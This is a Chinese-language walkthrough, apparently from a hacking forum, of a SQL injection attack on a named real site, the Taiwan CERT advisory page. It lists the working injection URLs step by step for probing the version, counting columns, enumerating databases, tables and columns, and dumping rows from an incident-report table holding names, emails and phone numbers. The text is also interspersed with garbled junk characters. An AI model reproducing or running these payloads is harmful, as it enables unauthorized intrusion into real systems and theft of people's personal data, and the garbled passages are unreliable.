1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询8 e4 O' i* W3 ?& I" z& E0 n
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解6 j; c- z) y. c. ~7 Q- s
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--% {+ }. `! `; J: m L
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
" i8 V/ T2 W' v" a8 _+ w数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
H2 h- t1 o- A% b" a4.判断有没有写权限8 h0 V/ a" @% Q( j2 Q3 `+ e% ?
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限4 A7 y8 o# z6 t0 p1 h
没办法,手动猜表啦% W8 b+ {8 P0 K1 ?0 P: S9 `
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1- Y0 p5 @! W1 o, h" @' {$ L& k
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下
$ ]. Y; [7 v7 jhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
1 f- z# j* C* f3 X* r: t成功查出所有数据库,国外的黑客就是不一般。数据库如下:0 C) B! m, ^- Q1 m0 p; W
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb* f/ g8 [# a" a. c- I$ S6 B
6.爆表,爆的是twcert库 p" U4 t; c* v! @) _; A& ~4 i- {
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
: Z' A l$ n2 i' a* |- C; d- _4 Z, y爆出如下表
9 b- \+ Z# o! E6 _* pdownloadfile,irsys,newsdata,secrpt,secrpt_big5) {& q9 ^, i" P' R/ ^) f! y$ {
7.爆列名,这次爆的是irsys表
& ?3 ~7 B. Z4 Z$ A* F. y3 Mhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
( Z i6 f* {& j D# H! _爆出如下列
8 J$ X3 ~% H% I. o5 y+ |# Kir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status6 U/ a, E. v8 X* i' s. F8 T
8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
/ b+ G' P# E3 j- I1 l; s; [ Rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--! C- T5 Q6 ~1 Z
返回是3,说明每个列里有3个地段
; @) v7 F( m, @6 f* y9.爆字段内容
7 p5 q5 A& P% |4 T& x, Y3 r- _http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
5 {8 ~- o5 K: R# f: a( D' j爆出name列的第一个字段的内容
# t% j% d, X% F/ q/ p2 hhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--$ ]7 C4 B+ Y- ?" _) S5 F0 x0 {
爆出name列的第二个字段的内容 |